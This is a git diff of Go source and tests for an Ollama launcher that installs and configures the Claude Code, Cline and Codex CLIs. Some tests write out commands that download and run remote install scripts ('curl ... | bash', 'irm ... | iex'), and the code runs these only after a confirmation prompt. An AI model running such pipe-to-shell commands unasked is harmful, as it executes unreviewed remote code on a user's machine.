setTestHome(t, t.TempDir())
tmpDir := t.TempDir()
t.Setenv("PATH", tmpDir)
writeFakeBinary(t, tmpDir, "claude")
withConfirm(t, func(prompt string) (bool, error) {
t.Fatalf("did not expect prompt, got %q", prompt)
return false, nil
})
bin, err := ensureClaudeInstalled()
if err != nil {
t.Fatalf("ensureClaudeInstalled() error = %v", err)
}
if filepath.Base(bin) != "claude" && filepath.Base(bin) != "claude.cmd" {
t.Fatalf("bin = %q, want claude binary", bin)
}
})
t.Run("missing dependencies", func(t *testing.T) {
setTestHome(t, t.TempDir())
t.Setenv("PATH", t.TempDir())
withConfirm(t, func(prompt string) (bool, error) {
t.Fatalf("did not expect prompt, got %q", prompt)
return false, nil
})
_, err := ensureClaudeInstalled()
if err == nil || !strings.Contains(err.Error(), "required dependencies are missing") {
t.Fatalf("expected missing dependency error, got %v", err)
}
})
t.Run("missing and user declines install", func(t *testing.T) {
setTestHome(t, t.TempDir())
tmpDir := t.TempDir()
t.Setenv("PATH", tmpDir)
writeClaudeInstallerDeps(t, tmpDir)
withConfirm(t, func(prompt string) (bool, error) {
if prompt != "Claude Code is not installed. Install now?" {
t.Fatalf("unexpected prompt: %q", prompt)
}
return false, nil
})
_, err := ensureClaudeInstalled()
if err == nil || !strings.Contains(err.Error(), "installation cancelled") {
t.Fatalf("expected cancellation error, got %v", err)
}
})
t.Run("missing and user confirms install succeeds", func(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("uses POSIX shell fake binaries")
}
homeDir := t.TempDir()
setTestHome(t, homeDir)
tmpDir := t.TempDir()
t.Setenv("PATH", tmpDir)
writeFakeBinary(t, tmpDir, "curl")
installLog := filepath.Join(tmpDir, "bash.log")
installedClaude := filepath.Join(homeDir, ".local", "bin", "claude")
bashScript := fmt.Sprintf(`#!/bin/sh
echo "$@" >> %q
if [ "$1" = "-c" ]; then
/bin/mkdir -p %q
/bin/cat > %q <<'EOS'
#!/bin/sh
exit 0
EOS
/bin/chmod +x %q
fi
exit 0
`, installLog, filepath.Dir(installedClaude), installedClaude, installedClaude)
if err := os.WriteFile(filepath.Join(tmpDir, "bash"), []byte(bashScript), 0o755); err != nil {
t.Fatalf("failed to write fake bash: %v", err)
}
withConfirm(t, func(prompt string) (bool, error) {
return true, nil
})
bin, err := ensureClaudeInstalled()
if err != nil {
t.Fatalf("ensureClaudeInstalled() error = %v", err)
}
if bin != installedClaude {
t.Fatalf("bin = %q, want %q", bin, installedClaude)
}
logData, err := os.ReadFile(installLog)
if err != nil {
t.Fatalf("failed to read install log: %v", err)
}
if !strings.Contains(string(logData), "https://claude.ai/install.sh") {
t.Fatalf("expected install.sh command in log, got:\n%s", string(logData))
}
})
t.Run("install command fails", func(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("uses POSIX shell fake binaries")
}
setTestHome(t, t.TempDir())
tmpDir := t.TempDir()
t.Setenv("PATH", tmpDir)
writeFakeBinary(t, tmpDir, "curl")
if err := os.WriteFile(filepath.Join(tmpDir, "bash"), []byte("#!/bin/sh\nexit 1\n"), 0o755); err != nil {
t.Fatalf("failed to write fake bash: %v", err)
}
withConfirm(t, func(prompt string) (bool, error) {
return true, nil
})
_, err := ensureClaudeInstalled()
if err == nil || !strings.Contains(err.Error(), "failed to install claude") {
t.Fatalf("expected install failure error, got %v", err)
}
})
}
func writeClaudeInstallerDeps(t *testing.T, dir string) {
t.Helper()
if runtime.GOOS == "windows" {
writeFakeBinary(t, dir, "powershell")
return
}
writeFakeBinary(t, dir, "curl")
writeFakeBinary(t, dir, "bash")
}
func TestClaudeInstallerCommand(t *testing.T) {
tests := []struct {
name string
goos string
wantBin string
want string
wantErr string
}{
{
name: "unix",
goos: "linux",
wantBin: "bash",
want: "curl -fsSL https://claude.ai/install.sh | bash",
},
{
name: "macos",
goos: "darwin",
wantBin: "bash",
want: "curl -fsSL https://claude.ai/install.sh | bash",
},
{
name: "windows",
goos: "windows",
wantBin: "powershell",
want: "irm https://claude.ai/install.ps1 | iex",
},
{
name: "unsupported",
goos: "plan9",
wantErr: "unsupported platform",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
bin, args, err := claudeInstallerCommand(tt.goos)
if tt.wantErr != "" {
if err == nil || !strings.Contains(err.Error(), tt.wantErr) {
t.Fatalf("expected error containing %q, got %v", tt.wantErr, err)
}
return
}
if err != nil {
t.Fatalf("claudeInstallerCommand() error = %v", err)
}
if bin != tt.wantBin {
t.Fatalf("bin = %q, want %q", bin, tt.wantBin)
}
if !slices.Contains(args, tt.want) {
t.Fatalf("args = %v, want command containing %q", args, tt.want)
}
})
}
}
func TestClaudeArgs(t *testing.T) {
c := &Claude{}
@@ -93,6 +322,7 @@ func TestClaudeArgs(t *testing.T) {
{"with model and verbose", "llama3.2", []string{"--verbose"}, []string{"--model", "llama3.2", "--verbose"}},
{"empty model with help", "", []string{"--help"}, []string{"--help"}},
{"with allowed tools", "llama3.2", []string{"--allowedTools", "Read,Write,Bash"}, []string{"--model", "llama3.2", "--allowedTools", "Read,Write,Bash"}},
{"with channels", "llama3.2", []string{"--channels", "plugin:telegram@claude-plugins-official"}, []string{"--model", "llama3.2", "--channels", "plugin:telegram@claude-plugins-official"}},
}
for _, tt := range tests {
@@ -105,6 +335,45 @@ func TestClaudeArgs(t *testing.T) {
}
}
func TestClaudeEnvVars(t *testing.T) {
c := &Claude{}
envMap := func(envs []string) map[string]string {
m := make(map[string]string)
for _, e := range envs {
k, v, _ := strings.Cut(e, "=")
m[k] = v
}
return m
}
got := envMap(c.envVars("llama3.2"))
for key, want := range map[string]string{
"ANTHROPIC_BASE_URL": envconfig.Host().String(),
"ANTHROPIC_API_KEY": "",
"ANTHROPIC_AUTH_TOKEN": "ollama",
"CLAUDE_CODE_ATTRIBUTION_HEADER": "0",
"DISABLE_ERROR_REPORTING": "1",
"DISABLE_FEEDBACK_COMMAND": "1",
"CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY": "1",
"ANTHROPIC_DEFAULT_OPUS_MODEL": "llama3.2",
"ANTHROPIC_DEFAULT_SONNET_MODEL": "llama3.2",
"ANTHROPIC_DEFAULT_HAIKU_MODEL": "llama3.2",
"CLAUDE_CODE_SUBAGENT_MODEL": "llama3.2",
} {
if got[key] != want {
t.Errorf("%s = %q, want %q", key, got[key], want)
}
}
// Both variables disable Claude Code feature-flag evaluation, which keeps Channels unavailable.
for _, key := range []string{"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "DISABLE_TELEMETRY"} {
if _, ok := got[key]; ok {
t.Errorf("%s must not be set by Ollama", key)
}
}
}
func TestClaudeModelEnvVars(t *testing.T) {
c := &Claude{}
+181 -23
View File
@@ -6,41 +6,91 @@ import (
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/ollama/ollama/cmd/internal/fileutil"
"github.com/ollama/ollama/envconfig"
)
const clineLaunchProvider = "ollama"
// Cline implements Runner and Editor for the Cline CLI integration
type Cline struct{}
func (c *Cline) String() string { return "Cline" }
func (c *Cline) Run(model string, args []string) error {
if _, err := exec.LookPath("cline"); err != nil {
return fmt.Errorf("cline is not installed, install with: npm install -g cline")
func (c *Cline) Run(model string, _ []LaunchModel, args []string) error {
bin, err := ensureClineInstalled()
if err != nil {
return err
}
cmd := exec.Command("cline", args...)
launchArgs := clineLaunchArgs(model, args)
cmd := exec.Command(bin, launchArgs...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
return cmd.Run()
}
func ensureClineInstalled() (string, error) {
if _, err := exec.LookPath("cline"); err == nil {
return "cline", nil
}
if _, err := exec.LookPath("npm"); err != nil {
return "", fmt.Errorf("cline is not installed and required dependencies are missing\n\nInstall the following first:\n npm (Node.js): https://nodejs.org/\n\nThen re-run:\n ollama launch cline")
}
ok, err := ConfirmPrompt("Cline is not installed. Install with npm?")
if err != nil {
return "", err
}
if !ok {
return "", fmt.Errorf("cline installation cancelled")
}
fmt.Fprintf(os.Stderr, "\nInstalling Cline...\n")
cmd := exec.Command("npm", "install", "-g", "cline@latest")
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("failed to install cline: %w", err)
}
if _, err := exec.LookPath("cline"); err != nil {
return "", fmt.Errorf("cline was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
}
fmt.Fprintf(os.Stderr, "%sCline installed successfully%s\n\n", ansiGreen, ansiReset)
return "cline", nil
}
func clineLaunchArgs(model string, extra []string) []string {
return extra
}
func (c *Cline) Paths() []string {
home, err := os.UserHomeDir()
if err != nil {
return nil
}
p := filepath.Join(home, ".cline", "data", "globalState.json")
if _, err := os.Stat(p); err == nil {
return []string{p}
var paths []string
for _, p := range []string{
clineProvidersPath(home),
clineLegacyGlobalStatePath(home),
} {
if _, err := os.Stat(p); err == nil {
paths = append(paths, p)
}
}
return nil
return paths
}
func (c *Cline) Edit(models []string) error {
func (c *Cline) Edit(models []LaunchModel) error {
if len(models) == 0 {
return nil
}
@@ -50,26 +100,113 @@ func (c *Cline) Edit(models []string) error {
return err
}
configPath := filepath.Join(home, ".cline", "data", "globalState.json")
providersPath := clineProvidersPath(home)
legacyPath := clineLegacyGlobalStatePath(home)
providersConfig, err := readClineConfig(providersPath)
if err != nil {
return err
}
legacyConfig, err := readClineConfig(legacyPath)
if err != nil {
return err
}
if err := writeClineProvidersConfig(providersPath, providersConfig, models[0].Name); err != nil {
return err
}
return writeClineLegacyGlobalState(legacyPath, legacyConfig, models[0].Name)
}
func clineProvidersPath(home string) string {
return filepath.Join(home, ".cline", "data", "settings", "providers.json")
}
func clineLegacyGlobalStatePath(home string) string {
return filepath.Join(home, ".cline", "data", "globalState.json")
}
func clineOllamaRootURL() string {
return strings.TrimRight(envconfig.ConnectableHost().String(), "/")
}
func clineProviderBaseURL() string {
return clineOllamaRootURL() + "/v1"
}
func readClineConfig(configPath string) (map[string]any, error) {
config := make(map[string]any)
if data, err := os.ReadFile(configPath); err == nil {
if err := json.Unmarshal(data, &config); err != nil {
return nil, fmt.Errorf("failed to parse config: %w, at: %s", err, configPath)
}
} else if !os.IsNotExist(err) {
return nil, err
}
return config, nil
}
func writeClineProvidersConfig(configPath string, config map[string]any, model string) error {
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
return err
}
config := make(map[string]any)
if data, err := os.ReadFile(configPath); err == nil {
if err := json.Unmarshal(data, &config); err != nil {
return fmt.Errorf("failed to parse config: %w, at: %s", err, configPath)
}
providers, _ := config["providers"].(map[string]any)
if providers == nil {
providers = make(map[string]any)
}
// Set Ollama as the provider for both act and plan modes
baseURL := envconfig.Host().String()
provider, _ := providers[clineLaunchProvider].(map[string]any)
if provider == nil {
provider = make(map[string]any)
}
settings, _ := provider["settings"].(map[string]any)
if settings == nil {
settings = make(map[string]any)
}
baseURL := clineProviderBaseURL()
previousModel, _ := settings["model"].(string)
previousBaseURL, _ := settings["baseUrl"].(string)
previousTokenSource, _ := provider["tokenSource"].(string)
settings["provider"] = clineLaunchProvider
settings["model"] = model
settings["baseUrl"] = baseURL
delete(settings, "apiKey")
provider["settings"] = settings
if previousModel != model || previousBaseURL != baseURL || previousTokenSource != "manual" {
provider["updatedAt"] = time.Now().UTC().Format(time.RFC3339Nano)
} else if _, ok := provider["updatedAt"].(string); !ok {
provider["updatedAt"] = time.Now().UTC().Format(time.RFC3339Nano)
}
provider["tokenSource"] = "manual"
providers[clineLaunchProvider] = provider
config["version"] = float64(1)
config["lastUsedProvider"] = clineLaunchProvider
config["providers"] = providers
data, err := json.MarshalIndent(config, "", " ")
if err != nil {
return err
}
return fileutil.WriteWithBackup(configPath, data, "cline")
}
func writeClineLegacyGlobalState(configPath string, config map[string]any, model string) error {
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
return err
}
baseURL := clineOllamaRootURL()
config["ollamaBaseUrl"] = baseURL
config["actModeApiProvider"] = "ollama"
config["actModeOllamaModelId"] = models[0]
config["actModeApiProvider"] = clineLaunchProvider
config["actModeOllamaModelId"] = model
config["actModeOllamaBaseUrl"] = baseURL
config["planModeApiProvider"] = "ollama"
config["planModeOllamaModelId"] = models[0]
config["planModeApiProvider"] = clineLaunchProvider
config["planModeOllamaModelId"] = model
config["planModeOllamaBaseUrl"] = baseURL
config["welcomeViewCompleted"] = true
@@ -87,12 +224,18 @@ func (c *Cline) Models() []string {
return nil
}
config, err := fileutil.ReadJSON(filepath.Join(home, ".cline", "data", "globalState.json"))
if model := clineProviderModel(home); model != "" {
return []string{model}
}
config, err := fileutil.ReadJSON(clineLegacyGlobalStatePath(home))
if err != nil {
return nil
}
if config["actModeApiProvider"] != "ollama" {
switch config["actModeApiProvider"] {
case "ollama":
default:
return nil
}
@@ -102,3 +245,18 @@ func (c *Cline) Models() []string {
}
return []string{modelID}
}
func clineProviderModel(home string) string {
config, err := fileutil.ReadJSON(clineProvidersPath(home))
if err != nil {
return ""
}
if config["lastUsedProvider"] != clineLaunchProvider {
return ""
}
providers, _ := config["providers"].(map[string]any)
provider, _ := providers[clineLaunchProvider].(map[string]any)
settings, _ := provider["settings"].(map[string]any)
model, _ := settings["model"].(string)
return model
}
+267 -9
View File
@@ -2,8 +2,11 @@ package launch
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
)
@@ -25,6 +28,55 @@ func TestClineIntegration(t *testing.T) {
})
}
func TestEnsureClineInstalled(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("uses a POSIX shell test binary")
}
tmpDir := t.TempDir()
setTestHome(t, tmpDir)
t.Setenv("PATH", tmpDir)
clinePath := filepath.Join(tmpDir, "cline")
npmScript := fmt.Sprintf(`#!/bin/sh
printf '%%s\n' "$*" > "$HOME/npm-calls.log"
/bin/cat > %q <<'EOF'
#!/bin/sh
exit 0
EOF
/bin/chmod +x %q
exit 0
`, clinePath, clinePath)
if err := os.WriteFile(filepath.Join(tmpDir, "npm"), []byte(npmScript), 0o755); err != nil {
t.Fatal(err)
}
oldConfirmPrompt := DefaultConfirmPrompt
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
if prompt != "Cline is not installed. Install with npm?" {
t.Fatalf("unexpected prompt: %q", prompt)
}
return true, nil
}
defer func() { DefaultConfirmPrompt = oldConfirmPrompt }()
bin, err := ensureClineInstalled()
if err != nil {
t.Fatalf("ensureClineInstalled() error = %v", err)
}
if bin != "cline" {
t.Fatalf("ensureClineInstalled() bin = %q, want %q", bin, "cline")
}
data, err := os.ReadFile(filepath.Join(tmpDir, "npm-calls.log"))
if err != nil {
t.Fatal(err)
}
if got := strings.TrimSpace(string(data)); got != "install -g cline@latest" {
t.Fatalf("npm args = %q, want %q", got, "install -g cline@latest")
}
}
func TestClineEdit(t *testing.T) {
c := &Cline{}
tmpDir := t.TempDir()
@@ -32,6 +84,7 @@ func TestClineEdit(t *testing.T) {
configDir := filepath.Join(tmpDir, ".cline", "data")
configPath := filepath.Join(configDir, "globalState.json")
providersPath := filepath.Join(tmpDir, ".cline", "data", "settings", "providers.json")
readConfig := func() map[string]any {
data, _ := os.ReadFile(configPath)
@@ -40,34 +93,71 @@ func TestClineEdit(t *testing.T) {
return config
}
readProvidersConfig := func() map[string]any {
data, _ := os.ReadFile(providersPath)
var config map[string]any
json.Unmarshal(data, &config)
return config
}
t.Run("creates config from scratch", func(t *testing.T) {
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
if err := c.Edit([]string{"kimi-k2.5:cloud"}); err != nil {
if err := c.Edit(testLaunchModels("kimi-k2.5:cloud")); err != nil {
t.Fatal(err)
}
config := readConfig()
if config["actModeApiProvider"] != "ollama" {
t.Errorf("actModeApiProvider = %v, want ollama", config["actModeApiProvider"])
if config["actModeApiProvider"] != clineLaunchProvider {
t.Errorf("actModeApiProvider = %v, want %s", config["actModeApiProvider"], clineLaunchProvider)
}
if config["actModeOllamaModelId"] != "kimi-k2.5:cloud" {
t.Errorf("actModeOllamaModelId = %v, want kimi-k2.5:cloud", config["actModeOllamaModelId"])
}
if config["planModeApiProvider"] != "ollama" {
t.Errorf("planModeApiProvider = %v, want ollama", config["planModeApiProvider"])
if config["actModeOllamaBaseUrl"] != "http://127.0.0.1:11434" {
t.Errorf("actModeOllamaBaseUrl = %v, want http://127.0.0.1:11434", config["actModeOllamaBaseUrl"])
}
if config["planModeApiProvider"] != clineLaunchProvider {
t.Errorf("planModeApiProvider = %v, want %s", config["planModeApiProvider"], clineLaunchProvider)
}
if config["planModeOllamaModelId"] != "kimi-k2.5:cloud" {
t.Errorf("planModeOllamaModelId = %v, want kimi-k2.5:cloud", config["planModeOllamaModelId"])
}
if config["planModeOllamaBaseUrl"] != "http://127.0.0.1:11434" {
t.Errorf("planModeOllamaBaseUrl = %v, want http://127.0.0.1:11434", config["planModeOllamaBaseUrl"])
}
if config["ollamaBaseUrl"] != "http://127.0.0.1:11434" {
t.Errorf("ollamaBaseUrl = %v, want http://127.0.0.1:11434", config["ollamaBaseUrl"])
}
if config["welcomeViewCompleted"] != true {
t.Errorf("welcomeViewCompleted = %v, want true", config["welcomeViewCompleted"])
}
providersConfig := readProvidersConfig()
if providersConfig["lastUsedProvider"] != clineLaunchProvider {
t.Errorf("lastUsedProvider = %v, want %s", providersConfig["lastUsedProvider"], clineLaunchProvider)
}
providers, _ := providersConfig["providers"].(map[string]any)
provider, _ := providers[clineLaunchProvider].(map[string]any)
if provider["updatedAt"] == "" {
t.Errorf("updatedAt = %v, want timestamp", provider["updatedAt"])
}
settings, _ := provider["settings"].(map[string]any)
if settings["model"] != "kimi-k2.5:cloud" {
t.Errorf("settings.model = %v, want kimi-k2.5:cloud", settings["model"])
}
if _, ok := settings["apiKey"]; ok {
t.Errorf("settings.apiKey = %v, want omitted for local Ollama", settings["apiKey"])
}
if settings["baseUrl"] != "http://127.0.0.1:11434/v1" {
t.Errorf("settings.baseUrl = %v, want http://127.0.0.1:11434/v1", settings["baseUrl"])
}
})
t.Run("preserves existing fields", func(t *testing.T) {
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
os.MkdirAll(configDir, 0o755)
os.MkdirAll(filepath.Dir(providersPath), 0o755)
existing := map[string]any{
"remoteRulesToggles": map[string]any{},
@@ -77,7 +167,22 @@ func TestClineEdit(t *testing.T) {
data, _ := json.Marshal(existing)
os.WriteFile(configPath, data, 0o644)
if err := c.Edit([]string{"glm-5:cloud"}); err != nil {
existingProviders := map[string]any{
"customRoot": "keep-me-too",
"providers": map[string]any{
clineLaunchProvider: map[string]any{
"updatedAt": "2026-05-29T16:56:46.111Z",
"settings": map[string]any{
"apiKey": "bad-migrated-key",
"timeout": float64(30000),
},
},
},
}
data, _ = json.Marshal(existingProviders)
os.WriteFile(providersPath, data, 0o644)
if err := c.Edit(testLaunchModels("glm-5:cloud")); err != nil {
t.Fatal(err)
}
@@ -88,15 +193,84 @@ func TestClineEdit(t *testing.T) {
if config["actModeOllamaModelId"] != "glm-5:cloud" {
t.Errorf("actModeOllamaModelId = %v, want glm-5:cloud", config["actModeOllamaModelId"])
}
providersConfig := readProvidersConfig()
if providersConfig["customRoot"] != "keep-me-too" {
t.Errorf("customRoot was not preserved")
}
providers, _ := providersConfig["providers"].(map[string]any)
provider, _ := providers[clineLaunchProvider].(map[string]any)
if provider["updatedAt"] == "2026-05-29T16:56:46.111Z" {
t.Errorf("updatedAt = %v, want refreshed timestamp after provider change", provider["updatedAt"])
}
settings, _ := provider["settings"].(map[string]any)
if settings["timeout"] != float64(30000) {
t.Errorf("settings.timeout = %v, want 30000", settings["timeout"])
}
if _, ok := settings["apiKey"]; ok {
t.Errorf("settings.apiKey = %v, want omitted for local Ollama", settings["apiKey"])
}
if settings["model"] != "glm-5:cloud" {
t.Errorf("settings.model = %v, want glm-5:cloud", settings["model"])
}
if settings["baseUrl"] != "http://127.0.0.1:11434/v1" {
t.Errorf("settings.baseUrl = %v, want http://127.0.0.1:11434/v1", settings["baseUrl"])
}
})
t.Run("validates both configs before writing providers config", func(t *testing.T) {
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
os.MkdirAll(configDir, 0o755)
os.WriteFile(configPath, []byte("{not json"), 0o644)
err := c.Edit(testLaunchModels("kimi-k2.5:cloud"))
if err == nil {
t.Fatal("expected invalid legacy config error")
}
if _, statErr := os.Stat(providersPath); !os.IsNotExist(statErr) {
t.Fatalf("providers config should not be written when legacy config is invalid, stat err = %v", statErr)
}
})
t.Run("preserves updatedAt when provider settings are unchanged", func(t *testing.T) {
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
os.MkdirAll(filepath.Dir(providersPath), 0o755)
existingProviders := map[string]any{
"providers": map[string]any{
clineLaunchProvider: map[string]any{
"updatedAt": "2026-05-29T16:56:46.111Z",
"tokenSource": "manual",
"settings": map[string]any{
"provider": clineLaunchProvider,
"model": "kimi-k2.5:cloud",
"baseUrl": "http://127.0.0.1:11434/v1",
},
},
},
}
data, _ := json.Marshal(existingProviders)
os.WriteFile(providersPath, data, 0o644)
if err := c.Edit(testLaunchModels("kimi-k2.5:cloud")); err != nil {
t.Fatal(err)
}
providersConfig := readProvidersConfig()
providers, _ := providersConfig["providers"].(map[string]any)
provider, _ := providers[clineLaunchProvider].(map[string]any)
if provider["updatedAt"] != "2026-05-29T16:56:46.111Z" {
t.Errorf("updatedAt = %v, want preserved timestamp", provider["updatedAt"])
}
})
t.Run("updates model on re-edit", func(t *testing.T) {
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
if err := c.Edit([]string{"kimi-k2.5:cloud"}); err != nil {
if err := c.Edit(testLaunchModels("kimi-k2.5:cloud")); err != nil {
t.Fatal(err)
}
if err := c.Edit([]string{"glm-5:cloud"}); err != nil {
if err := c.Edit(testLaunchModels("glm-5:cloud")); err != nil {
t.Fatal(err)
}
@@ -124,7 +298,7 @@ func TestClineEdit(t *testing.T) {
t.Run("uses first model as primary", func(t *testing.T) {
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
if err := c.Edit([]string{"kimi-k2.5:cloud", "glm-5:cloud"}); err != nil {
if err := c.Edit(testLaunchModels("kimi-k2.5:cloud", "glm-5:cloud")); err != nil {
t.Fatal(err)
}
@@ -142,6 +316,7 @@ func TestClineModels(t *testing.T) {
configDir := filepath.Join(tmpDir, ".cline", "data")
configPath := filepath.Join(configDir, "globalState.json")
providersPath := filepath.Join(tmpDir, ".cline", "data", "settings", "providers.json")
t.Run("returns nil when no config", func(t *testing.T) {
if models := c.Models(); models != nil {
@@ -177,6 +352,55 @@ func TestClineModels(t *testing.T) {
t.Errorf("Models() = %v, want [kimi-k2.5:cloud]", models)
}
})
t.Run("prefers CLI provider config", func(t *testing.T) {
os.MkdirAll(filepath.Dir(providersPath), 0o755)
config := map[string]any{
"lastUsedProvider": clineLaunchProvider,
"providers": map[string]any{
clineLaunchProvider: map[string]any{
"settings": map[string]any{
"model": "glm-5:cloud",
},
},
},
}
data, _ := json.Marshal(config)
os.WriteFile(providersPath, data, 0o644)
models := c.Models()
if len(models) != 1 || models[0] != "glm-5:cloud" {
t.Errorf("Models() = %v, want [glm-5:cloud]", models)
}
})
t.Run("ignores stale CLI provider config when ollama is not active", func(t *testing.T) {
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
os.MkdirAll(configDir, 0o755)
os.MkdirAll(filepath.Dir(providersPath), 0o755)
legacyConfig := map[string]any{
"actModeApiProvider": "anthropic",
"actModeOllamaModelId": "legacy-ollama-model",
}
data, _ := json.Marshal(legacyConfig)
os.WriteFile(configPath, data, 0o644)
providerConfig := map[string]any{
"lastUsedProvider": "openai",
"providers": map[string]any{
clineLaunchProvider: map[string]any{
"settings": map[string]any{
"model": "stale-ollama-model",
},
},
},
}
data, _ = json.Marshal(providerConfig)
os.WriteFile(providersPath, data, 0o644)
if models := c.Models(); models != nil {
t.Errorf("Models() = %v, want nil", models)
}
})
}
func TestClinePaths(t *testing.T) {
@@ -201,4 +425,38 @@ func TestClinePaths(t *testing.T) {
t.Errorf("Paths() = %v, want [%s]", paths, configPath)
}
})
t.Run("returns both paths when both configs exist", func(t *testing.T) {
os.RemoveAll(filepath.Join(tmpDir, ".cline"))
legacyPath := clineLegacyGlobalStatePath(tmpDir)
providersPath := clineProvidersPath(tmpDir)
os.MkdirAll(filepath.Dir(legacyPath), 0o755)
os.MkdirAll(filepath.Dir(providersPath), 0o755)
os.WriteFile(legacyPath, []byte("{}"), 0o644)
os.WriteFile(providersPath, []byte("{}"), 0o644)
paths := c.Paths()
want := []string{providersPath, legacyPath}
if len(paths) != len(want) {
t.Fatalf("Paths() = %v, want %v", paths, want)
}
for i := range want {
if paths[i] != want[i] {
t.Fatalf("Paths() = %v, want %v", paths, want)
}
}
})
}
func TestClineLaunchArgs(t *testing.T) {
got := clineLaunchArgs("kimi-k2.5:cloud", []string{"--json", "hello"})
want := []string{"--json", "hello"}
if len(got) != len(want) {
t.Fatalf("args length = %d, want %d: %v", len(got), len(want), got)
}
for i := range want {
if got[i] != want[i] {
t.Fatalf("args[%d] = %q, want %q; got %v", i, got[i], want[i], got)
}
}
}
+694 -63
View File
@@ -1,13 +1,17 @@
package launch
import (
"encoding/json"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/ollama/ollama/cmd/internal/fileutil"
"github.com/ollama/ollama/envconfig"
"github.com/ollama/ollama/types/model"
"github.com/pelletier/go-toml/v2"
"golang.org/x/mod/semver"
)
@@ -16,27 +20,54 @@ type Codex struct{}
func (c *Codex) String() string { return "Codex" }
const codexProfileName = "ollama-launch"
const (
codexProfileName = "ollama-launch"
codexProviderName = "Ollama"
codexFallbackContextWindow = 128_000
codexRestoreSuccess = "Codex launch configuration removed."
codexRootProfileKey = "profile"
codexRootModelKey = "model"
codexRootModelProviderKey = "model_provider"
codexRootModelCatalogJSONKey = "model_catalog_json"
)
func (c *Codex) args(model, modelCatalogPath string, extra []string) ([]string, error) {
if err := codexValidateExtraArgs(extra); err != nil {
return nil, err
}
func (c *Codex) args(model string, extra []string) []string {
args := []string{"--profile", codexProfileName}
for _, override := range codexManagedConfigOverrides(modelCatalogPath) {
args = append(args, "-c", override)
}
if model != "" {
args = append(args, "-m", model)
}
args = append(args, extra...)
return args
return args, nil
}
func (c *Codex) Run(model string, args []string) error {
func (c *Codex) Run(model string, models []LaunchModel, args []string) error {
if err := checkCodexVersion(); err != nil {
return err
}
if err := ensureCodexConfig(); err != nil {
if err := ensureCodexConfig(model, models); err != nil {
return fmt.Errorf("failed to configure codex: %w", err)
}
cmd := exec.Command("codex", c.args(model, args)...)
catalogPath, err := codexModelCatalogPath()
if err != nil {
return fmt.Errorf("failed to configure codex: %w", err)
}
codexArgs, err := c.args(model, catalogPath, args)
if err != nil {
return fmt.Errorf("failed to configure codex: %w", err)
}
cmd := exec.Command("codex", codexArgs...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
@@ -46,79 +77,679 @@ func (c *Codex) Run(model string, args []string) error {
return cmd.Run()
}
// ensureCodexConfig writes a [profiles.ollama-launch] section to ~/.codex/config.toml
// with openai_base_url pointing to the local Ollama server.
func ensureCodexConfig() error {
home, err := os.UserHomeDir()
func (c *Codex) Restore() error {
configPath, err := codexConfigPath()
if err != nil {
return err
}
codexDir := filepath.Join(home, ".codex")
if err := os.MkdirAll(codexDir, 0o755); err != nil {
if err := removeCodexProfileConfig(); err != nil {
return codexRestoreFailure(configPath, err)
}
if err := removeCodexModelCatalogIfUnused(configPath); err != nil {
return codexRestoreFailure(configPath, err)
}
return nil
}
func (c *Codex) RestoreSuccessMessage() string {
return codexRestoreSuccess
}
func (c *Codex) SkipRestoreInstallCheck() bool {
return true
}
func codexRestoreFailure(configPath string, err error) error {
return fmt.Errorf("restore Codex config: %w\n\nRestore did not complete. Check these files before retrying:\n Codex config: %s\n CLI profile: %s\n CLI model catalog: %s\n Backups: %s",
err,
configPath,
codexProfileConfigPathForConfig(configPath),
codexModelCatalogPathForConfig(configPath),
fileutil.BackupDir(),
)
}
func removeCodexProfileConfig() error {
profilePath, err := codexProfileConfigPath()
if err != nil {
return err
}
return removeCodexFile(profilePath)
}
func removeCodexModelCatalogIfUnused(configPath string) error {
catalogPath := codexModelCatalogPathForConfig(configPath)
data, err := os.ReadFile(configPath)
if err != nil && !os.IsNotExist(err) {
return err
}
if err == nil {
config, parseErr := codexParseConfig(string(data))
if parseErr != nil {
return parseErr
}
if config.RootString(codexRootModelCatalogJSONKey) == catalogPath {
return nil
}
}
return removeCodexFile(catalogPath)
}
func removeCodexFile(path string) error {
if err := os.Remove(path); err != nil && !os.IsNotExist(err) {
return err
}
return nil
}
func codexValidateExtraArgs(args []string) error {
for i, arg := range args {
switch {
case arg == "-p", strings.HasPrefix(arg, "-p"):
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --profile", arg)
case arg == "--profile", strings.HasPrefix(arg, "--profile="):
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --profile", arg)
case arg == "-m", strings.HasPrefix(arg, "-m"):
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --model", arg)
case arg == "--model", strings.HasPrefix(arg, "--model="):
return fmt.Errorf("conflicting extra argument %q: ollama launch codex manages --model", arg)
case arg == "-c", arg == "--config":
if i+1 < len(args) && codexConfigOverrideConflicts(args[i+1]) {
return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", args[i+1])
}
case strings.HasPrefix(arg, "-c") && len(arg) > len("-c"):
if codexConfigOverrideConflicts(strings.TrimPrefix(arg, "-c")) {
return fmt.Errorf("conflicting extra config %q: ollama launch codex manages provider and model catalog config", arg)
}
